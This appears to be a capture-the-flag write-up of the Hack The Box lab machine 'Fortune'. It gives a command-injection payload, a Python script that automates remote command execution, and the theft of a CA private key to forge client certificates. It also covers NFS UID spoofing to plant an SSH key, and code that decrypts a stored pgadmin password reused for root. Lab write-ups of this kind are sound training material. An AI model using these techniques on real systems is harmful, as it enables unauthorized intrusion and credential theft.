Fortune - Hack The Box
In this box, I use a simple command injection on the web fortune application that allows me to find the Intermediate CA certificate and its private key. After importing the certificates in Firefox, I can authenticate to the HTTPS page and access a privileged page that generates an SSH private key. Next is SSH port forwarding to access an NFS share, upload my SSH public key to escalate to another user, then recover a pgadmin database which contains the DBA password which is also the root password. Cool box overall, but it should have been rated Hard instead of Insane.
Summary
- There’s a command injection found in the
db
parameter of the web fortune application - The intermediate CA private key is found in a directory that I can access through the command injection
- I can generate a client certificate that I will use to access the ssh authentication web page
- After generating an SSH private keym, I can establish an SSH session as user
nfsuser
- By port-forwarding port 2049 I can mount the
/home
directory of the NFS server - With NFS I write my SSH public key into the
charlie
user directory and gain SSH access there - The pgadmin application database is exposed and I can recover the dba account password since I have the encrypted value and the decryption key
- Based on a note found when I first got access, I know the dba password is the same as the root account and I can
su
to gain root access
Detailed steps
Nmap
This box runs SSH and the OpenBSD httpd web server with both HTTP and HTTPS ports open.
# nmap -sC -sV -p- -oA fortune fortune.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-09 19:01 EST
Nmap scan report for fortune.htb (10.10.10.127)
Host is up (0.012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
| 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp open http OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open ssl/https?
|_ssl-date: TLS randomness does not represent time
Command injection on the fortune web app
The website shows a list of databases that I can select, then it runs the fortune
application to return random quotes.
From the man page:
fortune — print a random, hopefully interesting, adage
The fortune web app has a pretty trivial command injection vulnerability. It simply appends what I pass in the db
parameter to the fortune
application call. I can run arbitrary commands and programs simply by adding a semi-colon after the database name.
The example here shows I can run id
and list the root directory:
Because I wasn’t sure how much time I’d need to spend poking around the system through that command injection vulnerability, I wrote a quick python script that runs commands and cleans up the output. The output of all commands is displayed to screen and also saved to output.txt
.
#!/usr/bin/python
import re
import readline
import requests
f = open("output.txt", "a")
while True:
cmd = raw_input("> ")
data = { "db": ";echo '****';{}".format(cmd)}
r = requests.post("http://fortune.htb/select", data=data)
m = re.search("\*\*\*\*(.*)</pre>", r.text, re.DOTALL)
if m:
print m.group(1)
f.write("CMD: {}".format(cmd))
f.write(m.group(1))
Here’s what the output looks like:
> ls -l
total 56
drwxrwxrwx 2 _fortune _fortune 512 Nov 2 23:39 __pycache__
-rw-r--r-- 1 root _fortune 341 Nov 2 22:58 fortuned.ini
-rw-r----- 1 _fortune _fortune 14581 Mar 9 19:03 fortuned.log
-rw-rw-rw- 1 _fortune _fortune 6 Mar 9 18:38 fortuned.pid
-rw-r--r-- 1 root _fortune 413 Nov 2 22:59 fortuned.py
drwxr-xr-x 2 root _fortune 512 Nov 2 22:57 templates
-rw-r--r-- 1 root _fortune 67 Nov 2 22:59 wsgi.py
> tail -n 10 /etc/passwd
_syspatch:*:112:112:syspatch unprivileged user:/var/empty:/sbin/nologin
_slaacd:*:115:115:SLAAC Daemon:/var/empty:/sbin/nologin
_postgresql:*:503:503:PostgreSQL Manager:/var/postgresql:/bin/sh
_pgadmin4:*:511:511::/usr/local/pgadmin4:/usr/local/bin/bash
_fortune:*:512:512::/var/appsrv/fortune:/sbin/nologin
_sshauth:*:513:513::/var/appsrv/sshauth:/sbin/nologin
nobody:*:32767:32767:Unprivileged user:/nonexistent:/sbin/nologin
charlie:*:1000:1000:Charlie:/home/charlie:/bin/ksh
bob:*:1001:1001::/home/bob:/bin/ksh
nfsuser:*:1002:1002::/home/nfsuser:/usr/sbin/authpf
The user _fortune
has /sbin/nologin
for his shell so I can’t just upload my SSH keys to get a real shell through SSH.
Looking around the box as user _fortune
The previous box by AuxSarge had some special SSH configuration that made use of a local database to check the public keys of users. The first thing I did on this box was check the SSH configuration to see if there was something similar:
/etc/ssh/sshd_config
has a special configuration for user nfuser
that looks up the public key in a postgresql database instead of .ssh
Match User nfsuser
AuthorizedKeysFile none
AuthorizedKeysCommand /usr/local/bin/psql -Aqt -c "SELECT key from authorized_keys where uid = '%u';" authpf appsrv
AuthorizedKeysCommandUser _sshauth
I spotted another web app in /var/appsrv/sshauth
I didn’t find in my initial enumeration. It’s written in Python and running the Flask framework.
> ls -l /var/appsrv
total 12
drwxr-xr-x 4 _fortune _fortune 512 Feb 3 05:08 fortune
drwxr-x--- 4 _pgadmin4 wheel 512 Nov 3 10:58 pgadmin4
drwxr-xr-x 4 _sshauth _sshauth 512 Feb 3 05:08 sshauth
> ls -l /var/appsrv/sshauth
total 52
drwxrwxrwx 2 _sshauth _sshauth 512 Nov 2 23:39 __pycache__
-rw-r--r-- 1 _sshauth _sshauth 341 Nov 2 23:10 sshauthd.ini
-rw-r----- 1 _sshauth _sshauth 13371 Mar 9 18:39 sshauthd.log
-rw-rw-rw- 1 _sshauth _sshauth 6 Mar 9 18:38 sshauthd.pid
-rw-r--r-- 1 _sshauth _sshauth 1799 Nov 2 23:12 sshauthd.py
drwxr-xr-x 2 _sshauth _sshauth 512 Nov 2 23:08 templates
-rw-r--r-- 1 _sshauth _sshauth 67 Nov 2 23:06 wsgi.py
I can see with ps
that the application is running through uwsgi
:
> ps waux | grep sshauth
_sshauth 39927 0.0 2.5 19164 26268 ?? S 6:38PM 0:00.41 /usr/local/bin/uwsgi --daemonize /var/appsrv/sshauth/sshauthd.log
_sshauth 4866 0.0 0.5 19164 5588 ?? I 6:38PM 0:00.00 /usr/local/bin/uwsgi --daemonize /var/appsrv/sshauth/sshauthd.log
_sshauth 13512 0.0 0.5 19168 5564 ?? I 6:38PM 0:00.00 /usr/local/bin/uwsgi --daemonize /var/appsrv/sshauth/sshauthd.log
_sshauth 18294 0.0 0.5 19168 5564 ?? I 6:38PM 0:00.00 /usr/local/bin/uwsgi --daemonize /var/appsrv/sshauth/sshauthd.log
The web app has a route for /generate
which calls a function that generates a new SSH keypair and displays it to the user.
@app.route('/generate', methods=['GET'])
def sshauthd():
# SSH key generation code courtesy of:
# https://msftstack.wordpress.com/2016/10/15/generating-rsa-keys-with-python-3/
#
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
# generate private/public key pair
key = rsa.generate_private_key(backend=default_backend(), public_exponent=65537, \
key_size=2048)
# get public key in OpenSSH format
public_key = key.public_key().public_bytes(serialization.Encoding.OpenSSH, \
serialization.PublicFormat.OpenSSH)
# get private key in PEM container format
pem = key.private_bytes(encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
# decode to printable strings
private_key_str = pem.decode('utf-8')
public_key_str = public_key.decode('utf-8')
db_response = db_write(public_key_str)
if db_response == False:
return render_template('error.html')
else:
return render_template('display.html', private_key=private_key_str, public_key=public_key_str)
Looking at the httpd.conf
configuration file, I see that the /generate
route is accessible only on the HTTPS port. However I can’t access the HTTPS port because the server is configured for client certificate authentication.
> cat /etc/httpd.conf
server "fortune.htb" {
listen on * port 80
location "/" {
root "/htdocs/fortune"
}
location "/select" {
fastcgi socket "/run/fortune/fortuned.socket"
}
}
server "fortune.htb" {
listen on * tls port 443
tls client ca "/etc/ssl/ca-chain.crt"
location "/" {
root "/htdocs/sshauth"
}
location "/generate" {
fastcgi socket "/run/sshauth/sshauthd.socket"
}
}
I keep looking and find a boatload of certificates in bob’s home directory:
> ls -lR /home/bob
total 8
drwxr-xr-x 7 bob bob 512 Oct 29 20:57 ca
drwxr-xr-x 2 bob bob 512 Nov 2 22:40 dba
/home/bob/ca:
total 48
drwxr-xr-x 2 bob bob 512 Oct 29 20:44 certs
drwxr-xr-x 2 bob bob 512 Oct 29 20:37 crl
-rw-r--r-- 1 bob bob 115 Oct 29 20:56 index.txt
-rw-r--r-- 1 bob bob 21 Oct 29 20:56 index.txt.attr
-rw-r--r-- 1 bob bob 0 Oct 29 20:37 index.txt.old
drwxr-xr-x 7 bob bob 512 Nov 3 15:37 intermediate
drwxr-xr-x 2 bob bob 512 Oct 29 20:56 newcerts
-rw-r--r-- 1 bob bob 4200 Oct 29 20:55 openssl.cnf
drwx------ 2 bob bob 512 Oct 29 20:41 private
-rw-r--r-- 1 bob bob 5 Oct 29 20:56 serial
-rw-r--r-- 1 bob bob 5 Oct 29 20:37 serial.old
/home/bob/ca/certs:
total 8
-r--r--r-- 1 bob bob 2053 Oct 29 20:44 ca.cert.pem
/home/bob/ca/crl:
/home/bob/ca/intermediate:
total 52
drwxr-xr-x 2 bob bob 512 Nov 3 15:40 certs
drwxr-xr-x 2 bob bob 512 Oct 29 20:46 crl
-rw-r--r-- 1 bob bob 5 Oct 29 20:47 crlnumber
drwxr-xr-x 2 bob bob 512 Oct 29 21:13 csr
-rw-r--r-- 1 bob bob 107 Oct 29 21:13 index.txt
-rw-r--r-- 1 bob bob 21 Oct 29 21:13 index.txt.attr
drwxr-xr-x 2 bob bob 512 Oct 29 21:13 newcerts
-rw-r--r-- 1 bob bob 4328 Oct 29 20:56 openssl.cnf
drwxr-xr-x 2 bob bob 512 Oct 29 21:13 private
-rw-r--r-- 1 bob bob 5 Oct 29 21:13 serial
-rw-r--r-- 1 bob bob 5 Oct 29 21:13 serial.old
/home/bob/ca/intermediate/certs:
total 24
-r--r--r-- 1 bob bob 4114 Oct 29 20:58 ca-chain.cert.pem
-r--r--r-- 1 bob bob 1996 Oct 29 21:13 fortune.htb.cert.pem
-r--r--r-- 1 bob bob 2061 Oct 29 20:56 intermediate.cert.pem
/home/bob/ca/intermediate/crl:
/home/bob/ca/intermediate/csr:
total 8
-rw-r--r-- 1 bob bob 1013 Oct 29 21:12 fortune.htb.csr.pem
-rw-r--r-- 1 bob bob 1716 Oct 29 20:53 intermediate.csr.pem
/home/bob/ca/intermediate/newcerts:
total 4
-rw-r--r-- 1 bob bob 1996 Oct 29 21:13 1000.pem
/home/bob/ca/intermediate/private:
total 12
-r-------- 1 bob bob 1675 Oct 29 21:10 fortune.htb.key.pem
-rw-r--r-- 1 bob bob 3243 Oct 29 20:48 intermediate.key.pem
/home/bob/ca/newcerts:
total 8
-rw-r--r-- 1 bob bob 2061 Oct 29 20:56 1000.pem
/home/bob/ca/private:
/home/bob/dba:
total 4
-rw-r--r-- 1 bob bob 195 Nov 2 22:40 authpf.sql
I compare the CA cert used by the httpd
service with the certs found in the folder and I find a match for the intermediate CA cert.
> md5 /etc/ssl/ca-chain.crt
MD5 (/etc/ssl/ca-chain.crt) = b5217e28843aace50f46951bc136632e
> md5 /home/bob/ca/intermediate/certs/ca-chain.cert.pem
MD5 (/home/bob/ca/intermediate/certs/ca-chain.cert.pem) = b5217e28843aace50f46951bc136632e
The intermediate CA cert /home/bob/ca/intermediate/certs/intermediate.cert.pem
and its private key /home/bob/ca/intermediate/private/intermediate.key.pem
are both readable by my user.
I download both Intermediate CA files and the CA cert on my machine then I combined the Intermediate CA cert and its private key into a PKCS12 package:
openssl pkcs12 -export -inkey intermediate.key.pem -in intermediate.cert.pem -out snowscan.p12
I’ll import both the Intermediate and CA certs into my Firefox trusted autorities store:
Next, I import the PKCS12 file into my personal certificate storage:
I’m prompted to chose a cert when connecting to the webpage
I’m now able to access the HTTPS page:
Generating a new SSH key for user nfsuser
When I go to https://fortune.htb/generate
, a new SSH keypair is generated and the private key is displayed:
I can grab this key and use it to SSH as user nfsuser
# vi fortune.key
# chmod 400 fortune.key
# ssh -i fortune.key nfsuser@10.10.10.127
Hello nfsuser. You are authenticated from host "10.10.14.23"
I don’t get a prompt however. Looking at the /etc/passwd
file, I see that this user doesn’t have a shell associated with him:
nfsuser:*:1002:1002::/home/nfsuser:/usr/sbin/authpf
Because the user is named nfsuser
, it’s safe to assume there is something exported by NFS. I can see this in the /etc/exports
file:
> cat /etc/exports
/home
The NFS port 2049 is firewalled but I can still access it by using local port forwarding in SSH.
# ssh -i fortune.key -L 2049:fortune.htb:2049 nfsuser@fortune.htb
Last login: Sat Mar 9 20:08:55 2019 from 10.10.14.23
Hello nfsuser. You are authenticated from host "10.10.14.23"
# mount -t nfs fortune.htb:/home /mnt
# ls -l /mnt
total 6
drwxr-xr-x 5 revssh revssh 512 Nov 3 16:29 bob
drwxr-x--- 3 test1324 test1324 512 Nov 5 22:02 charlie
drwxr-xr-x 2 1002 1002 512 Nov 2 22:39 nfsuser
The charlie
user directory is mapped to user ID 1000. I already has a user ID 1000 created on my Kali Linux box with the name test1324
:
# grep test1324 /etc/passwd
test1324:x:1000:1000::/home/test1324:/bin/bash
To access charlie
, I simply change to user test1324
then I’m to access the files and the user flag.
root@ragingunicorn:~/htb/fortune# su test1324
test1324@ragingunicorn:/root/htb/fortune$ cd /mnt/charlie
test1324@ragingunicorn:/mnt/charlie$ ls
mbox user.txt
test1324@ragingunicorn:/mnt/charlie$ cat user.txt
ada0af...
There’s a mailbox file with a hint that we should look or the dba password next so we can log in as root:
test1324@ragingunicorn:/mnt/charlie$ cat mbox
From bob@fortune.htb Sat Nov 3 11:18:51 2018
Return-Path: <bob@fortune.htb>
Delivered-To: charlie@fortune.htb
Received: from localhost (fortune.htb [local])
by fortune.htb (OpenSMTPD) with ESMTPA id bf12aa53
for <charlie@fortune.htb>;
Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
From: <bob@fortune.htb>
Date: Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
To: charlie@fortune.htb
Subject: pgadmin4
Message-ID: <196699abe1fed384@fortune.htb>
Status: RO
Hi Charlie,
Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.
Cheers,
Bob
To get a proper shell, I added my SSH key to authorized_keys
:
test1324@ragingunicorn:/mnt/charlie$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABA[...]pgYyFnLt3ysDhscPOtelvd root@ragingunicorn" >> .ssh/authorized_keys
Now I can log in as charlie
root@ragingunicorn:~# ssh charlie@fortune.htb
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
fortune$
In /var/appsrv/pgadmin4
, I find the database for the pgadmin
application: pgadmin4.db
It’s a sqlite database and I already have tools to view this:
fortune$ file pgadmin4.db
pgadmin4.db: SQLite 3.x database
I find the user authentication table as well as the server table that contains the encrypted dba
account password:
fortune$ sqlite3 pgadmin4.db
SQLite version 3.24.0 2018-06-04 19:24:41
Enter ".help" for usage hints.
sqlite> .tables
alembic_version roles_users
debugger_function_arguments server
keys servergroup
module_preference setting
preference_category user
preferences user_preferences
process version
role
sqlite> select * from user;
1|charlie@fortune.htb|$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ|1|
2|bob@fortune.htb|$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg|1|
sqlite> select * from server;
1|2|2|fortune|localhost|5432|postgres|dba|utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz||prefer||||||<STORAGE_DIR>/.postgresql/postgresql.crt|<STORAGE_DIR>/.postgresql/postgresql.key|||0||||0||22||0||0|
I checked the pgadmin source code on github to understand how it decrypts the dba
password and saw that the decrypt()
function takes two arguments. Since I already have the two values from the database I’ll just copy/paste the code into a new script and punch in the values for bob’s user at the end.
# cat root.py
import base64
import hashlib
import os
import six
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import CFB8
padding_string = b'}'
iv_size = AES.block_size // 8
def pad(key):
"""Add padding to the key."""
if isinstance(key, six.text_type):
key = key.encode()
# Key must be maximum 32 bytes long, so take first 32 bytes
key = key[:32]
# If key size is 16, 24 or 32 bytes then padding is not required
if len(key) in (16, 24, 32):
return key
# Add padding to make key 32 bytes long
return key.ljust(32, padding_string)
def decrypt(ciphertext, key):
"""
Decrypt the AES encrypted string.
Parameters:
ciphertext -- Encrypted string with AES method.
key -- key to decrypt the encrypted string.
"""
ciphertext = base64.b64decode(ciphertext)
iv = ciphertext[:iv_size]
cipher = Cipher(AES(pad(key)), CFB8(iv), default_backend())
decryptor = cipher.decryptor()
return decryptor.update(ciphertext[iv_size:]) + decryptor.finalize()
res = decrypt("utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz", "$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg")
print(res.decode('ascii'))
Decryption works and I get the dba
password:
root@ragingunicorn:~/htb/fortune# python root.py
R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!
Based on the hint I found earlier, I know the root
password is the same one used for dba
:
fortune$ su
Password:
fortune# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
fortune# cat /root/root.txt
335af7...